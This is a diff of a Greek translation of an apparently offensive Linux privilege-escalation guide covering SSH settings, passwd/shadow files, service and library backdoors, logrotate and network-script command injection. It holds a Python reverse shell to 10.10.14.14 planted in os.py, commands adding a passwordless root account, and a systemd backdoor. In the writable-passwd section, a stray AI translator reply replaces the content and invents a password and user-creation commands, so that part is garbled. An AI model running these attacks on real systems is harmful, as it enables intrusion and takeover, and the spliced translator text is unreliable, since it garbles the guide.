[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Ενδιαφέρουσες τιμές διαμόρφωσης +### SSH Interesting configuration values -- **PasswordAuthentication:** Καθορίζει αν επιτρέπεται η password authentication. Η προεπιλογή είναι `no`. -- **PubkeyAuthentication:** Καθορίζει αν επιτρέπεται η public key authentication. Η προεπιλογή είναι `yes`. -- **PermitEmptyPasswords**: Όταν επιτρέπεται η password authentication, καθορίζει αν ο server επιτρέπει σύνδεση σε λογαριασμούς με κενά password strings. Η προεπιλογή είναι `no`. +- **PasswordAuthentication:** Καθορίζει εάν επιτρέπεται η πιστοποίηση με password. Η προεπιλεγμένη τιμή είναι `no`. +- **PubkeyAuthentication:** Καθορίζει εάν επιτρέπεται η πιστοποίηση με public key. Η προεπιλεγμένη τιμή είναι `yes`. +- **PermitEmptyPasswords**: Όταν επιτρέπεται η password authentication, καθορίζει εάν ο server επιτρέπει είσοδο σε λογαριασμούς με κενές συμβολοσειρές password. Η προεπιλεγμένη τιμή είναι `no`. ### PermitRootLogin -Καθορίζει αν ο root μπορεί να συνδεθεί μέσω ssh, προεπιλογή `no`. Ενδεχόμενες τιμές: +Καθορίζει εάν ο root μπορεί να κάνει login μέσω ssh, η προεπιλεγμένη τιμή είναι `no`. Πιθανές τιμές: - `yes`: ο root μπορεί να συνδεθεί χρησιμοποιώντας password και private key - `without-password` ή `prohibit-password`: ο root μπορεί να συνδεθεί μόνο με private key -- `forced-commands-only`: ο root μπορεί να συνδεθεί μόνο με private key και αν έχουν καθοριστεί επιλογές εντολών -- `no`: όχι +- `forced-commands-only`: ο root μπορεί να συνδεθεί μόνο με private key και μόνο εάν έχουν οριστεί επιλογές commands +- `no` : όχι ### AuthorizedKeysFile -Καθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για user authentication. Μπορεί να περιέχει tokens όπως `%h`, που θα αντικατασταθεί από τον κατάλογο home. **Μπορείτε να υποδείξετε απόλυτες διαδρομές** (ξεκινώντας με `/`) ή **σχετικές διαδρομές από το home του χρήστη**. Για παράδειγμα: +Καθορίζει αρχεία που περιέχουν τα public keys τα οποία μπορούν να χρησιμοποιηθούν για user authentication. Μπορεί να περιέχει tokens όπως `%h`, που θα αντικατασταθούν από τον κατάλογο home. **Μπορείτε να υποδείξετε absolute paths** (ξεκινώντας με `/`) ή **relative paths από το home του χρήστη**. Για παράδειγμα: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Αυτή η ρύθμιση θα υποδείξει ότι, εάν προσπαθήσεις να συνδεθείς με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σου με αυτά που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -Το SSH agent forwarding σας επιτρέπει να **use your local SSH keys instead of leaving keys** (without passphrases!) που μένουν στον server σας. Έτσι, θα μπορείτε να **jump** μέσω ssh **to a host** και από εκεί να **jump to another** host **using** το **key** που βρίσκεται στον **initial host** σας. +Το SSH agent forwarding σου επιτρέπει να **use your local SSH keys instead of leaving keys** (without passphrases!) που μένουν στον server σου. Έτσι, θα μπορείς να **jump** μέσω ssh **to a host** και από εκεί να **jump to another** host **using** το **key** που βρίσκεται στον **initial host** σου. -You need to set this option in `$HOME/.ssh.config` like this: +Πρέπει να ορίσεις αυτή την επιλογή στο `$HOME/.ssh.config` ως εξής: ``` Host example.com ForwardAgent yes ``` -Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετική μηχανή, αυτή η host θα μπορεί να έχει πρόσβαση στα κλειδιά (κάτι που αποτελεί ζήτημα ασφάλειας). +Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να αποκτήσει πρόσβαση στα κλειδιά (κάτι που αποτελεί πρόβλημα ασφάλειας). -Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη διαμόρφωση.\ -Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** το ssh-agent forwarding με τη λέξη-κλειδί `AllowAgentForwarding` (η προεπιλογή είναι allow). +Το αρχείο `/etc/ssh_config` μπορεί να **υπερισχύσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη διαμόρφωση.\ +Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** το ssh-agent forwarding με την παράμετρο `AllowAgentForwarding` (η προεπιλεγμένη τιμή είναι allow). -Αν διαπιστώσετε ότι το Forward Agent είναι διαμορφωμένο σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **μπορεί να το εκμεταλλευτείτε για να αποκτήσετε αυξημένα προνόμια**: +Εάν διαπιστώσετε ότι το Forward Agent είναι διαμορφωμένο σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **ίσως να μπορείτε να το καταχραστείτε για να escalate privileges**: {{#ref}} @@ -1185,59 +1207,39 @@ ssh-forward-agent-exploitation.md ### Αρχεία προφίλ -Το αρχείο `/etc/profile` και τα αρχεία κάτω από το `/etc/profile.d/` είναι **scripts που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε να **γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να αποκτήσετε αυξημένα προνόμια**. +Το αρχείο `/etc/profile` και τα αρχεία κάτω από `/etc/profile.d/` είναι **scripts που εκτελούνται όταν ένας χρήστης εκκινεί ένα νέο shell**. Επομένως, αν μπορείτε να **γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Εάν βρεθεί οποιοδήποτε περίεργο profile script, πρέπει να το ελέγξετε για **ευαίσθητες πληροφορίες**. +Αν βρεθεί κάποιο περίεργο profile script, πρέπει να το ελέγξετε για **ευαίσθητες πληροφορίες**. -### Passwd/Shadow Files +### Αρχεία Passwd/Shadow -Ανάλογα με το OS, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετικό όνομα ή να υπάρχει κάποιο backup. Επομένως συνιστάται **να τα βρείτε όλα** και **να ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: +Ανάλογα με το OS τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετικό όνομα ή να υπάρχει κάποιο εφεδρικό αντίγραφο. Επομένως συνιστάται να **τα βρείτε όλα** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο) +Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή αντίστοιχο) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Εγγράψιμο /etc/passwd -Πρώτα, δημιούργησε ένα password με μία από τις παρακάτω εντολές. +Πρώτα, δημιούργησε ένα password με μία από τις ακόλουθες εντολές. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Δεν έχω το περιεχόμενο του αρχειου src/linux-hardening/privilege-escalation/README.md. Παρακαλώ επικόλλησε το περιεχόμενο εδώ ώστε να το μεταφράσω στα Ελληνικά (θα κρατήσω άθικτα τα paths, tags και κώδικα όπως ζήτησες). +I don't have the README.md content to translate. Please either paste the file content you want translated, or confirm you want only a small snippet that: -Παράλληλα, δημιούργησα έναν ασφαλή κωδικό για τον χρήστη hacker και παραθέτω τις εντολές που πρέπει να τρέξεις (δεν εκτελώ τίποτα εγώ — μόνο οδηγίες): +- Adds a user account hacker on a Linux system, and +- Shows a generated password (I will create a secure password and include the exact commands to add the user and set the password). -Γεννημένος κωδικός (αντίγραφο — κράτησέ τον ασφαλή): -Vx9$3pLq!aR2mD7# - -Εντολές για προσθήκη χρήστη και ορισμό του κωδικού: -sudo useradd -m -s /bin/bash hacker -echo 'hacker:Vx9$3pLq!aR2mD7#' | sudo chpasswd - -Προαιρετικά: -- Να απαιτηθεί αλλαγή κωδικού στην πρώτη σύνδεση: -sudo passwd -e hacker - -- Να δοθεί πρόσβαση sudo (Debian/Ubuntu): -sudo usermod -aG sudo hacker - -- Να δοθεί πρόσβαση wheel (CentOS/RHEL): -sudo usermod -aG wheel hacker - -Σημειώσεις ασφαλείας: -- Η εκτέλεση της echo με plaintext κωδικό αφήνει ίχνη στο history. Για καλύτερη πρακτική, χρησιμοποίησε interactive sudo passwd hacker ή δημιούργησε το hash με openssl passwd -6 και χρησιμοποίησε useradd -p '' hacker. -- Αν θέλεις, μπορώ να παράγω διαφορετικό κωδικό ή να σου δείξω ασφαλέστερους τρόπους να εισάγεις τον κωδικό χωρίς να αφήσεις plaintext στο history. - -Στείλε το περιεχόμενο του README που θέλεις να μεταφράσω. +If you want the snippet, confirm the target OS (e.g., Debian/Ubuntu vs. RHEL/CentOS) and whether to use useradd/adduser and whether to set a hashed password in /etc/shadow or use chpasswd. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1245,34 +1247,34 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash Μπορείτε τώρα να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker` -Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις ακόλουθες γραμμές για να προσθέσετε έναν δοκιμαστικό χρήστη χωρίς κωδικό πρόσβασης.\ -ΠΡΟΣΟΧΗ: ενδέχεται να υποβαθμίσετε την τρέχουσα ασφάλεια της μηχανής. +Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν προσωρινό χρήστη χωρίς κωδικό πρόσβασης.\ +ΠΡΟΕΙΔΟΠΟΙΗΣΗ: ενδέχεται να μειώσετε την τρέχουσα ασφάλεια της μηχανής. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και `/etc/master.passwd`, επίσης το `/etc/shadow` έχει μετονομαστεί σε `/etc/spwd.db`. +ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και στο `/etc/master.passwd`, επίσης το `/etc/shadow` έχει μετονομαστεί σε `/etc/spwd.db`. -Πρέπει να ελέγξετε αν μπορείτε να **γράψετε σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείτε να γράψετε σε κάποιο **αρχείο ρυθμίσεων υπηρεσίας**; +Πρέπει να ελέγξετε αν μπορείτε να **γράψετε σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείτε να γράψετε σε κάποιο **αρχείο διαμόρφωσης υπηρεσίας**; ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Για παράδειγμα, αν η μηχανή τρέχει έναν **tomcat** server και μπορείτε να **τροποποιήσετε το αρχείο διαμόρφωσης υπηρεσίας του Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: +Για παράδειγμα, αν η μηχανή τρέχει έναν **tomcat** server και μπορείτε να **modify the Tomcat service configuration file inside /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει το tomcat. + ### Έλεγχος φακέλων -Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει ο tomcat. - -Οι παρακάτω φάκελοι ενδέχεται να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορείτε να διαβάσετε το τελευταίο, αλλά δοκιμάστε) +Οι παρακάτω φάκελοι μπορεί να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορέσετε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Παράξενες Τοποθεσίες/Owned files +### Παράξενη Τοποθεσία/Owned αρχεία ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1289,7 +1291,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Αρχεία που τροποποιήθηκαν τα τελευταία λεπτά +### Αρχεία τροποποιημένα τα τελευταία λεπτά ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1305,7 +1307,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries στο PATH** +### **Σενάρια/Δυαδικά στο PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1323,20 +1325,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Γνωστά αρχεία που περιέχουν κωδικούς -Διάβασε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ψάχνει για **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς**.\ -**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείς να χρησιμοποιήσεις για αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια ανοιχτού κώδικα εφαρμογή που χρησιμοποιείται για την ανάκτηση πολλών κωδικών αποθηκευμένων σε τοπικό υπολογιστή για Windows, Linux & Mac. +Διάβασε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ψάχνει για **αρκετά πιθανά αρχεία που ενδέχεται να περιέχουν κωδικούς**.\ +**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείς να χρησιμοποιήσεις για αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μία ανοιχτού κώδικα εφαρμογή που χρησιμοποιείται για να ανακτήσει πολλούς κωδικούς αποθηκευμένους σε έναν τοπικό υπολογιστή για Windows, Linux & Mac. -### Αρχεία καταγραφής +### Καταγραφές -Αν μπορείς να διαβάσεις logs, μπορεί να καταφέρεις να βρεις **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτά**. Όσο πιο περίεργο είναι το log, τόσο πιο ενδιαφέρον θα είναι (πιθανώς).\ -Επιπλέον, κάποια "**bad**" configured (backdoored?) **audit logs** μπορεί να σου επιτρέψουν να **καταγράψεις κωδικούς** μέσα στα audit logs όπως εξηγείται σε αυτή τη δημοσίευση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Εάν μπορείς να διαβάσεις αρχεία καταγραφής, ίσως μπορέσεις να βρεις **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα τους**. Όσο πιο περίεργο είναι το αρχείο καταγραφής, τόσο πιο ενδιαφέρον θα είναι (πιθανώς).\ +Επιπλέον, κάποια **κακώς** διαμορφωμένα (backdoored?) **audit logs** μπορεί να σου επιτρέψουν να **καταγράψεις κωδικούς** μέσα σε audit logs όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Για να **διαβάσετε τα logs**, η ομάδα [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πραγματικά χρήσιμη. +Για να διαβάσετε τα logs, η ομάδα [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα σας φανεί πολύ χρήσιμη. -### Shell αρχεία +### Αρχεία Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1347,43 +1349,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Γενική Αναζήτηση Creds/Regex +### Generic Creds Search/Regex -Πρέπει επίσης να ελέγξεις για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** τους ή μέσα στο **περιεχόμενο**, και επίσης να ελέγξεις για IPs και emails μέσα σε logs, ή hashes regexps.\ -Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνεις όλα αυτά αλλά αν σε ενδιαφέρει μπορείς να ελέγξεις τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Θα πρέπει επίσης να ελέγχετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** τους ή μέσα στο **περιεχόμενο**, και επίσης να ελέγχετε για IPs και emails μέσα σε logs, ή hashes regexps. +Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Αρχεία με δικαίωμα εγγραφής +## Εγγράψιμα αρχεία ### Python library hijacking -Αν ξέρεις από **πού** πρόκειται να εκτελεστεί ένα python script και **μπορείς να γράψεις μέσα** σε αυτόν τον φάκελο ή μπορείς να **τροποποιήσεις python libraries**, μπορείς να τροποποιήσεις τη βιβλιοθήκη OS και να την backdoor (αν μπορείς να γράψεις εκεί όπου θα εκτελεστεί το python script, αντιγράψε και επικόλλησε τη βιβλιοθήκη os.py). +Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και **μπορείτε να γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **modify python libraries**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). -Για να **backdoor the library** απλώς πρόσθεσε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (άλλαξε IP και PORT): +Για να **backdoor the library** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την ακόλουθη γραμμή (αλλάξτε IP και PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Εκμετάλλευση logrotate -Μία ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **write permissions** σε ένα αρχείο καταγραφής ή στους γονικούς καταλόγους του να αποκτήσουν ενδεχομένως αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγξετε τα permissions όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή των logs. +Μία ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς καταλόγους του ενδεχόμενα να αποκτήσουν αναβαθμισμένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται log rotation. > [!TIP] -> Αυτή η ευπάθεια επηρεάζει `logrotate` version `3.18.0` και παλαιότερες +> Αυτή η ευπάθεια επηρεάζει την έκδοση του `logrotate` `3.18.0` και παλαιότερες -Περισσότερες λεπτομέρειες για την ευπάθεια βρίσκονται σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Περισσότερες λεπτομέρειες για την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten). +Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με το εργαλείο [**logrotten**](https://github.com/whotwagner/logrotten). -Αυτή η ευπάθεια είναι πολύ όμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε βρείτε ότι μπορείτε να αλλάξετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να ανεβάσετε προνόμια αντικαθιστώντας τα logs με symlinks. +Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε βρείτε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να αναβαθμίσετε προνόμια αντικαθιστώντας τα logs με symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα `ifcf-` script στο _/etc/sysconfig/network-scripts_ **ή** να **τροποποιήσει** ένα υπάρχον, τότε το **system σας είναι pwned**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). +Τα network scripts, π.χ. _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με .INI αρχεία. Ωστόσο, είναι ~sourced~ σε Linux από το Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +Στην περίπτωση μου, το `NAME=` που αποδίδεται σε αυτά τα network scripts δεν χειρίζεται σωστά. Αν έχετε **κενό/space στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό/space**. Αυτό σημαίνει ότι **ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root**. Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1393,15 +1395,15 @@ DEVICE=eth0 ``` (_Σημειώστε το κενό διάστημα μεταξύ Network και /bin/id_) -### **init, init.d, systemd, και rc.d** +### **init, init.d, systemd, and rc.d** -Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός δρόμος σε Redhat συστήματα είναι το `/etc/rc.d/init.d`. +Ο κατάλογος `/etc/init.d` φιλοξενεί **σενάρια** για το System V init (SysVinit), το **κλασικό Linux σύστημα διαχείρισης υπηρεσιών**. Περιλαμβάνει σενάρια για να `start`, `stop`, `restart` και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν άμεσα ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Μια εναλλακτική διαδρομή σε συστήματα Redhat είναι `/etc/rc.d/init.d`. -Από την άλλη, το `/etc/init` σχετίζεται με το **Upstart**, ένα νεότερο **service management** που εισήγαγε το Ubuntu, το οποίο χρησιμοποιεί αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός compatibility layer στο Upstart. +Από την άλλη, το `/etc/init` σχετίζεται με το **Upstart**, ένα νεότερο **σύστημα διαχείρισης υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρύθμισης για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός στρώματος συμβατότητας στο Upstart. -Η **systemd** αναδύεται ως ένας σύγχρονος initializer και service manager, προσφέροντας προηγμένες δυνατότητες όπως on-demand εκκίνηση daemons, διαχείριση automounts και snapshot του system state. Οργανώνει αρχεία σε `/usr/lib/systemd/` για τα distribution packages και σε `/etc/systemd/system/` για τροποποιήσεις από τον administrator, απλοποιώντας τη διαχείριση του συστήματος. +Το **systemd** εμφανίζεται ως ένας σύγχρονος manager εκκίνησης και διαχείρισης υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως on-demand έναρξη daemon, διαχείριση automount και snapshots κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και στο `/etc/systemd/system/` για τροποποιήσεις από τον διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. -## Άλλα κόλπα +## Other Tricks ### NFS Privilege escalation @@ -1410,7 +1412,7 @@ DEVICE=eth0 nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Απόδραση από περιορισμένα Shells +### Διέξοδος από restricted Shells {{#ref}} @@ -1426,19 +1428,19 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Τα Android rooting frameworks συνήθως κάνουν hook ένα syscall για να εκθέσουν privileged kernel λειτουργικότητα σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. έλεγχοι υπογραφών βασισμένοι σε FD-order ή κακοσχεδιασμένα password schemes) μπορεί να επιτρέψει σε ένα local app να προσποιηθεί τον manager και να ανυψωθεί σε root σε συσκευές που έχουν ήδη root. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: +Τα Android rooting frameworks συνήθως hook ένα syscall για να εκθέσουν privileged kernel functionality σε έναν userspace manager. Αδύναμη manager authentication (π.χ., signature checks βασισμένα σε FD-order ή φτωχά password schemes) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να υποδυθεί τον manager και να escalate σε root σε συσκευές που ήδη έχουν root. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Προστασίες Ασφαλείας Πυρήνα +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Περισσότερη βοήθεια +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1451,13 +1453,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** 